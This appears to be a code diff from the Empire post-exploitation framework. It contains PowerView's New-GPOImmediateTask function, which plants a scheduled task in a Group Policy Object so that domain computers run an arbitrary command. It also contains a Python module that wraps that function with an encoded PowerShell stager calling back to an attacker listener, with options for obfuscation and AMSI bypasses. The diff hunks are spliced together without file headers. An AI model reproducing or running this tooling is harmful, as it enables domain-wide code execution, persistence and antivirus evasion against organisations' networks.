14386 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
14387 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
14388 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
14389 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
14390 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
14391 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
14392 }
14393
14394 PROCESS {
14395 # enumerate the specified GPO(s)
14396 $GPOs = Get-DomainGPO @SearcherArguments -Raw
14397
14398 if(!$GPOs) {
14399 Write-Warning '[New-GPOImmediateTask] No GPO found.'
14400 return
14401 }
14402
14403 ForEach($GPORaw in $GPOs) {
14404 $GPOEntry = $GPORaw.GetDirectoryEntry()
14405 $ProcessedGPOName = $GPOEntry.Name
14406 Write-Verbose "[New-GPOImmediateTask] Trying to weaponize GPO: $ProcessedGPOName"
14407
14408 $TaskPath = Join-Path $GPOEntry.gPCFileSysPath "\$Target\Preferences\ScheduledTasks\"
14409 $TaskXMLPath = Join-Path $TaskPath "\ScheduledTasks.xml"
14410
14411 if($Remove) {
14412 if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskXMLPath")) {
14413 return
14414 }
14415
14416 if (Test-Path $TaskXMLPath) {
14417 # remove our immediate task from scheduled tasks XML file
14418 $TaskXML = [xml](Get-Content -Path $TaskXMLPath -Encoding ASCII)
14419 $OldImmediateTasks = $TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName
14420 ForEach ($OldImmediateTask in $OldImmediateTasks) {
14421 $Null = $TaskXML.ScheduledTasks.RemoveChild($OldImmediateTask)
14422 }
14423 $TaskXML.Save($TaskXMLPath)
14424
14425 if ($TaskXML.ScheduledTasks.ChildNodes.Count -eq 0) {
14426 Remove-Item -Path $TaskXMLPath -Force
14427
14428 # remove GUID for ImmediateTask from gPCMachineExtensionNames
14429 # or gPCUserExtensionNames
14430 if ($Target -eq "Machine") {
14431 $extensionNames = "gPCMachineExtensionNames"
14432 } else {
14433 $extensionNames = "gPCUserExtensionNames"
14434 }
14435
14436 $ZeroGuid = "00000000-0000-0000-0000-000000000000"
14437 $ScheduledTasksCSEGuid = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72"
14438 $ScheduledTasksTEGuid = "AADCED64-746C-4633-A97C-D61349046527"
14439
14440 if ($GPOEntry.Properties[$extensionNames] -and $GPOEntry.Properties[$extensionNames].Value.ToString().Contains($ScheduledTasksCSEGuid)) {
14441 $OldExtensionNames = $GPOEntry.Properties[$extensionNames].Value.ToString()
14442 $OldGUIDSplit = $OldExtensionNames.Split('][',[System.StringSplitOptions]::RemoveEmptyEntries)
14443
14444 $OldGUIDs = New-Object System.Collections.ArrayList
14445 ForEach ($GUIDs in $OldGUIDSplit) {
14446 $GUIDs = $GUIDs.Split("}{",[System.StringSplitOptions]::RemoveEmptyEntries) -replace "[\{\[\]]", ""
14447 $OldGUID = New-Object System.Collections.ArrayList(,$GUIDs)
14448 $Null = $OldGUIDs.Add($OldGUID)
14449 }
14450
14451 $NewGUIDs = New-Object System.Collections.ArrayList
14452
14453 ForEach ($OldGUID in $OldGUIDs) {
14454 # updating CSE GUID
14455 if ($OldGUID.Contains($ZeroGuid) -and $OldGUID.Contains($ScheduledTasksCSEGuid)) {
14456 $Null = $OldGUID.Remove($ScheduledTasksCSEGuid)
14457 if ($OldGUID.Count -gt 1) {
14458 $OldGUID = $OldGUID | Sort-Object
14459 $Null = $NewGUIDs.Add($OldGUID)
14460 }
14461 # updating tool extension GUID for ScheduledTasks
14462 } elseif (!($OldGUID.Contains($ScheduledTasksTEGuid) -and $OldGUID.Contains($ScheduledTasksCSEGuid))) {
14463 $Null = $NewGUIDs.Add($OldGUID)
14464 }
14465 }
14466
14467 if ($NewGUIDs.Count -gt 0) {
14468 $NewGUIDs = $NewGUIDs | Sort-Object
14469
14470 # format for extensionNames field
14471 $FormatedGUIDs = New-Object System.Collections.ArrayList
14472 ForEach ($GUIDs in $NewGUIDs) {
14473 $FormatedGUID = ""
14474 ForEach ($GUID in $GUIDs) {
14475 $FormatedGUID += "{"+$GUID+"}"
14476 }
14477 $FormatedGUID = "["+$FormatedGUID+"]"
14478 $Null = $FormatedGUIDs.Add($FormatedGUID)
14479 }
14480 $NewGUIDsString = -Join $FormatedGUIDs
14481
14482 Write-Verbose "[New-GPOImmediateTask] New extensionNames $NewGUIDsString"
14483
14484 $GPOEntry.Properties[$extensionNames].Value = $NewGUIDsString
14485 } else {
14486 $GPOEntry.Properties[$extensionNames].Clear()
14487 }
14488 }
14489 }
14490 }
14491 }
14492 else {
14493 if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskXMLPath")) {
14494 return
14495 }
14496
14497 # create the folder if it doesn't exist
14498 $Null = New-Item -ItemType Directory -Force -Path $TaskPath
14499
14500 # build the XML spec for our 'immediate' scheduled task
14501 [xml] $ImmediateTaskXML = '<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$TaskGuid+'}"><Properties action="C" name="'+$TaskName+'" runAs="'+$TaskRunAs+'" logonType="'+$TaskLogonType+'"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>'+$TaskRunAs+'</UserId><LogonType>'+$TaskLogonType+'</LogonType><RunLevel>'+$TaskRunLevel+'</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions></Task></Properties></ImmediateTaskV2>'
14502
14503 # add our immediate task in scheduled tasks XML file
14504 if (Test-Path $TaskXMLPath) {
14505 $TaskXML = [xml](Get-Content -Path $TaskXMLPath -Encoding ASCII)
14506 if ($TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName) {
14507 if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Overwritting immediate task named $TaskName")) {
14508 return
14509 }
14510 $OldImmediateTasks = $TaskXML.ScheduledTasks.ImmediateTaskV2 | where name -eq $TaskName
14511 ForEach ($OldImmediateTask in $OldImmediateTasks) {
14512 $Null = $TaskXML.ScheduledTasks.RemoveChild($OldImmediateTask)
14513 }
14514 }
14515 } else {
14516 [xml] $TaskXML = [xml] '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"></ScheduledTasks>'
14517 }
14518 $Null = $TaskXML.ScheduledTasks.AppendChild($TaskXML.ImportNode($ImmediateTaskXML.ImmediateTaskV2, $true))
14519 $TaskXML.Save($TaskXMLPath)
14520
14521 # add GUID for ImmediateTask in gPCMachineExtensionNames or
14522 # gPCUserExtensionNames
14523 if ($Target -eq "Machine") {
14524 $extensionNames = "gPCMachineExtensionNames"
14525 } else {
14526 $extensionNames = "gPCUserExtensionNames"
14527 }
14528
14529 $ZeroGuid = "00000000-0000-0000-0000-000000000000"
14530 $ScheduledTasksCSEGuid = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72"
14531 $ScheduledTasksTEGuid = "AADCED64-746C-4633-A97C-D61349046527"
14532
14533 if (!$GPOEntry.Properties[$extensionNames]) {
14534 $GPOEntry.Properties[$extensionNames].Value = "[{"+$ZeroGuid+"}{"+$ScheduledTasksCSEGuid+"}]"+"[{"+ $ScheduledTasksTEGuid+"}{"+$ScheduledTasksCSEGuid+"}]"
14535 } elseif (!$GPOEntry.Properties[$extensionNames].Value.ToString().Contains($ScheduledTasksCSEGuid)) {
14536 $OldExtensionNames = $GPOEntry.Properties[$extensionNames].Value.ToString()
14537 $OldGUIDSplit = $OldExtensionNames.Split('][',[System.StringSplitOptions]::RemoveEmptyEntries)
14538
14539 $OldGUIDs = New-Object System.Collections.ArrayList
14540 ForEach ($GUIDs in $OldGUIDSplit) {
14541 $GUIDs = $GUIDs.Split("}{",[System.StringSplitOptions]::RemoveEmptyEntries) -replace "[\{\[\]]", ""
14542 $OldGUID = New-Object System.Collections.ArrayList(,$GUIDs)
14543 $Null = $OldGUIDs.Add($OldGUID)
14544 }
14545
14546 $NewGUIDs = New-Object System.Collections.ArrayList
14547
14548 # add CSE GUID
14549 if (!$OldExtensionNames.Contains($ZeroGuid)) {
14550 $Null = $OldGUIDs.Add(@($ZeroGuid, $ScheduledTasksCSEGuid))
14551 }
14552
14553 # add tool extension GUID for ScheduledTasks
14554 if (!$OldExtensionNames.Contains($ScheduledTasksTEGuid)) {
14555 $Null = $OldGUIDs.Add(@($ScheduledTasksTEGuid, $ScheduledTasksCSEGuid))
14556 }
14557
14558 ForEach ($OldGUID in $OldGUIDs) {
14559 # updating CSE GUID
14560 if ($OldGUID.Contains($ZeroGuid) -and -not $OldGUID.Contains($ScheduledTasksCSEGuid)) {
14561 $Null = $OldGUID.Add($ScheduledTasksCSEGuid)
14562 $OldGUID = $OldGUID | Sort-Object
14563 $Null = $NewGUIDs.Add($OldGUID)
14564 # updating tool extension GUID for ScheduledTasks
14565 } elseif ($OldGUID.Contains($ScheduledTasksTEGuid) -and -not $OldGUID.Contains($ScheduledTasksCSEGuid)) {
14566 $Null = $OldGUID.Add($ScheduledTasksCSEGuid)
14567 $OldGUID = $OldGUID | Sort-Object
14568 $Null = $NewGUIDs.Add($OldGUID)
14569 } else {
14570 $Null = $NewGUIDs.Add($OldGUID)
14571 }
14572 }
14573
14574 $NewGUIDs = $NewGUIDs | Sort-Object
14575
14576 # format for extensionNames field
14577 $FormatedGUIDs = New-Object System.Collections.ArrayList
14578 ForEach ($GUIDs in $NewGUIDs) {
14579 $FormatedGUID = ""
14580 ForEach ($GUID in $GUIDs) {
14581 $FormatedGUID += "{"+$GUID+"}"
14582 }
14583 $FormatedGUID = "["+$FormatedGUID+"]"
14584 $Null = $FormatedGUIDs.Add($FormatedGUID)
14585 }
14586 $NewGUIDsString = -Join $FormatedGUIDs
14587
14588 Write-Verbose "[New-GPOImmediateTask] New extensionNames $NewGUIDsString"
14589
14590 $GPOEntry.Properties[$extensionNames].Value = $NewGUIDsString
14591 }
14592 }
14593
14594 # update versionNumber
14595 $NewVersionNumber = [Convert]::ToInt32($GPOEntry.Properties["versionNumber"].Value) + 1
14596 $GPOEntry.Properties["versionNumber"].Value = $NewVersionNumber
14597 Write-Verbose "[New-GPOImmediateTask] New versionNumber $NewVersionNumber"
14598
14599 $GPOEntry.CommitChanges()
14600
14601 # also update versionNumber in GPT.ini
14602 $GPTPath = Join-Path $GPOEntry.gPCFileSysPath "\GPT.ini"
14603 $GPTOldContent = Get-Content -Path $GPTPath
14604 $GPTNewContent = $GPTOldContent -replace "Version=.*$","Version=$NewVersionNumber"
14605 Set-Content -Encoding ASCII -PATH $GPTPath -Value $GPTNewContent
14606 }
14607 }
14608 }
14609
1415914610 ########################################################
1416014611 #
1416114612 # Functions that enumerate a single host, either through
1717
1818 from flask_socketio import SocketIO
1919
20 VERSION = "3.5.1 BC Security Fork"
20 VERSION = "3.5.2 BC Security Fork"
2121
2222 from pydispatch import dispatcher
2323
2020
2121 'Techniques': ['T1028'],
2222
23 'Background' : False,
23 'Background' : True,
2424
2525 'OutputExtension' : None,
2626
2020
2121 'Techniques': ['T1053'],
2222
23 'Background' : True,
24
25 'OutputExtension' : None,
26
27 'NeedsAdmin' : False,
28
29 'OpsecSafe' : True,
30
31 'Language' : 'powershell',
32
33 'MinLanguageVersion' : '2',
34
23 'Background': True,
24
25 'OutputExtension': None,
26
27 'NeedsAdmin': False,
28
29 'OpsecSafe': True,
30
31 'Language': 'powershell',
32
33 'MinLanguageVersion': '2',
34
3535 'Comments': [
3636 'https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/'
3737 ]
4141 self.options = {
4242 # format:
4343 # value_name : {description, required, default_value}
44 'Agent' : {
45 'Description' : 'Agent to run module on.',
46 'Required' : True,
47 'Value' : ''
48 },
49 'TaskName' : {
50 'Description' : 'Name for the schtask to create.',
51 'Required' : True,
52 'Value' : 'Debug'
53 },
54 'TaskDescription' : {
55 'Description' : 'Name for the schtask to create.',
56 'Required' : False,
57 'Value' : 'Debugging functionality.'
58 },
59 'TaskAuthor' : {
60 'Description' : 'Name for the schtask to create.',
61 'Required' : True,
62 'Value' : 'NT AUTHORITY\System'
63 },
64 'GPOname' : {
65 'Description' : 'The GPO name to build the task for.',
66 'Required' : False,
67 'Value' : ''
68 },
69 'GPODisplayName' : {
70 'Description' : 'The GPO display name to build the task for.',
71 'Required' : False,
72 'Value' : ''
73 },
74 'Domain' : {
75 'Description' : 'The domain to query for the GPOs, defaults to the current domain.',
76 'Required' : False,
77 'Value' : ''
78 },
79 'DomainController' : {
80 'Description' : 'Domain controller to reflect LDAP queries through.',
81 'Required' : False,
82 'Value' : ''
83 },
84 'Listener' : {
85 'Description' : 'Listener to use.',
86 'Required' : True,
87 'Value' : ''
88 },
89 'UserAgent' : {
90 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
91 'Required' : False,
92 'Value' : 'default'
93 },
94 'Proxy' : {
95 'Description' : 'Proxy to use for request (default, none, or other).',
96 'Required' : False,
97 'Value' : 'default'
98 },
99 'ProxyCreds' : {
100 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
101 'Required' : False,
102 'Value' : 'default'
103 },
104 'Remove' : {
105 'Description' : 'Switch. Remove the immediate schtask.',
106 'Required' : False,
107 'Value' : 'default'
44 'Agent': {
45 'Description': 'Agent to run module on.',
46 'Required': True,
47 'Value': ''
48 },
49 'TaskName': {
50 'Description': 'Name for the schtask to create.',
51 'Required': True,
52 'Value': 'Debug'
53 },
54 'TaskDescription': {
55 'Description': 'Name for the schtask to create.',
56 'Required': False,
57 'Value': 'Debugging functionality.'
58 },
59 'TaskAuthor': {
60 'Description': 'Name for the schtask to create.',
61 'Required': True,
62 'Value': 'NT AUTHORITY\System'
63 },
64 'GPOname': {
65 'Description': 'The GPO name to build the task for.',
66 'Required': False,
67 'Value': ''
68 },
69 'GPODisplayName': {
70 'Description': 'The GPO display name to build the task for.',
71 'Required': False,
72 'Value': ''
73 },
74 'Domain': {
75 'Description': 'The domain to query for the GPOs, defaults to the current domain.',
76 'Required': False,
77 'Value': ''
78 },
79 'DomainController': {
80 'Description': 'Domain controller to reflect LDAP queries through.',
81 'Required': False,
82 'Value': ''
83 },
84 'Listener': {
85 'Description': 'Listener to use.',
86 'Required': True,
87 'Value': ''
88 },
89 'UserAgent': {
90 'Description': 'User-agent string to use for the staging request (default, none, or other).',
91 'Required': False,
92 'Value': 'default'
93 },
94 'Proxy': {
95 'Description': 'Proxy to use for request (default, none, or other).',
96 'Required': False,
97 'Value': 'default'
98 },
99 'ProxyCreds': {
100 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
101 'Required': False,
102 'Value': 'default'
103 },
104 'Remove': {
105 'Description': 'Switch. Remove the immediate schtask.',
106 'Required': False,
107 'Value': 'default'
108 },
109 'Obfuscate': {
110 'Description': 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
111 'Required': False,
112 'Value': 'False'
113 },
114 'ObfuscateCommand': {
115 'Description': 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
116 'Required': False,
117 'Value': r'Token\All\1'
118 },
119 'AMSIBypass': {
120 'Description': 'Include mattifestation\'s AMSI Bypass in the stager code.',
121 'Required': False,
122 'Value': 'True'
123 },
124 'AMSIBypass2': {
125 'Description': 'Include Tal Liberman\'s AMSI Bypass in the stager code.',
126 'Required': False,
127 'Value': 'False'
108128 }
109129 }
110130
118138 if option in self.options:
119139 self.options[option]['Value'] = value
120140
121
122141 def generate(self, obfuscate=False, obfuscationCommand=""):
123
124142 # Set booleans to false by default
125143 Obfuscate = False
126144 AMSIBypass = False
127145 AMSIBypass2 = False
128
129 moduleName = self.info["Name"]
130 listenerName = self.options['Listener']['Value']
131 userAgent = self.options['UserAgent']['Value']
146
147 module_name = self.info["Name"]
148 listener_name = self.options['Listener']['Value']
149 user_agent = self.options['UserAgent']['Value']
132150 proxy = self.options['Proxy']['Value']
133 proxyCreds = self.options['ProxyCreds']['Value']
151 proxy_creds = self.options['ProxyCreds']['Value']
134152 if (self.options['Obfuscate']['Value']).lower() == 'true':
135153 Obfuscate = True
136154 ObfuscateCommand = self.options['ObfuscateCommand']['Value']
139157 if (self.options['AMSIBypass2']['Value']).lower() == 'true':
140158 AMSIBypass2 = True
141159
142 if not self.mainMenu.listeners.is_listener_valid(listenerName):
160 if not self.mainMenu.listeners.is_listener_valid(listener_name):
143161 # not a valid listener, return nothing for the script
144 print(helpers.color("[!] Invalid listener: " + listenerName))
162 print(helpers.color("[!] Invalid listener: " + listener_name))
145163 return ""
146164
147165 else:
148166
149167 # generate the PowerShell one-liner with all of the proper options set
150 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, obfuscate=Obfuscate, obfuscationCommand=ObfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, AMSIBypass=AMSIBypass, AMSIBypass2=AMSIBypass2)
151
152 command = "/c \""+launcher+"\""
168 launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=True,
169 obfuscate=Obfuscate, obfuscationCommand=ObfuscateCommand,
170 userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds,
171 AMSIBypass=AMSIBypass, AMSIBypass2=AMSIBypass2)
172
173 command = "/c \"" + launcher + "\""
153174
154175 if command == "":
155176 return ""
157178 else:
158179
159180 # read in the common powerview.ps1 module source code
160 moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
181 module_source = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
161182 try:
162 f = open(moduleSource, 'r')
183 f = open(module_source, 'r')
163184 except:
164 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
185 print(helpers.color("[!] Could not read module source path at: " + str(module_source)))
165186 return ""
166187
167 moduleCode = f.read()
188 module_code = f.read()
168189 f.close()
169190
170191 # get just the code needed for the specified function
171 script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
172
173 script = moduleName + " -Command cmd -CommandArguments '"+command+"' -Force"
174
175 for option,values in self.options.items():
176 if option.lower() in ["taskname", "taskdescription", "taskauthor", "gponame", "gpodisplayname", "domain", "domaincontroller"]:
192 script = helpers.generate_dynamic_powershell_script(module_code, module_name)
193
194 script = module_name + " -Command cmd -CommandArguments '" + command + "' -Force"
195
196 for option, values in self.options.items():
197 if option.lower() in ["taskname", "taskdescription", "taskauthor", "gponame", "gpodisplayname",
198 "domain", "domaincontroller"]:
177199 if values['Value'] and values['Value'] != '':
178200 if values['Value'].lower() == "true":
179201 # if we're just adding a switch
181203 else:
182204 script += " -" + str(option) + " '" + str(values['Value']) + "'"
183205
184 script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
206 script += ' | Out-String | %{$_ + \"`n\"};"`n' + str(module_name) + ' completed!"'
185207
186208 if obfuscate:
187 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
209 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script,
210 obfuscationCommand=obfuscationCommand)
188211 script = helpers.keyword_obfuscation(script)
189212
190213 return script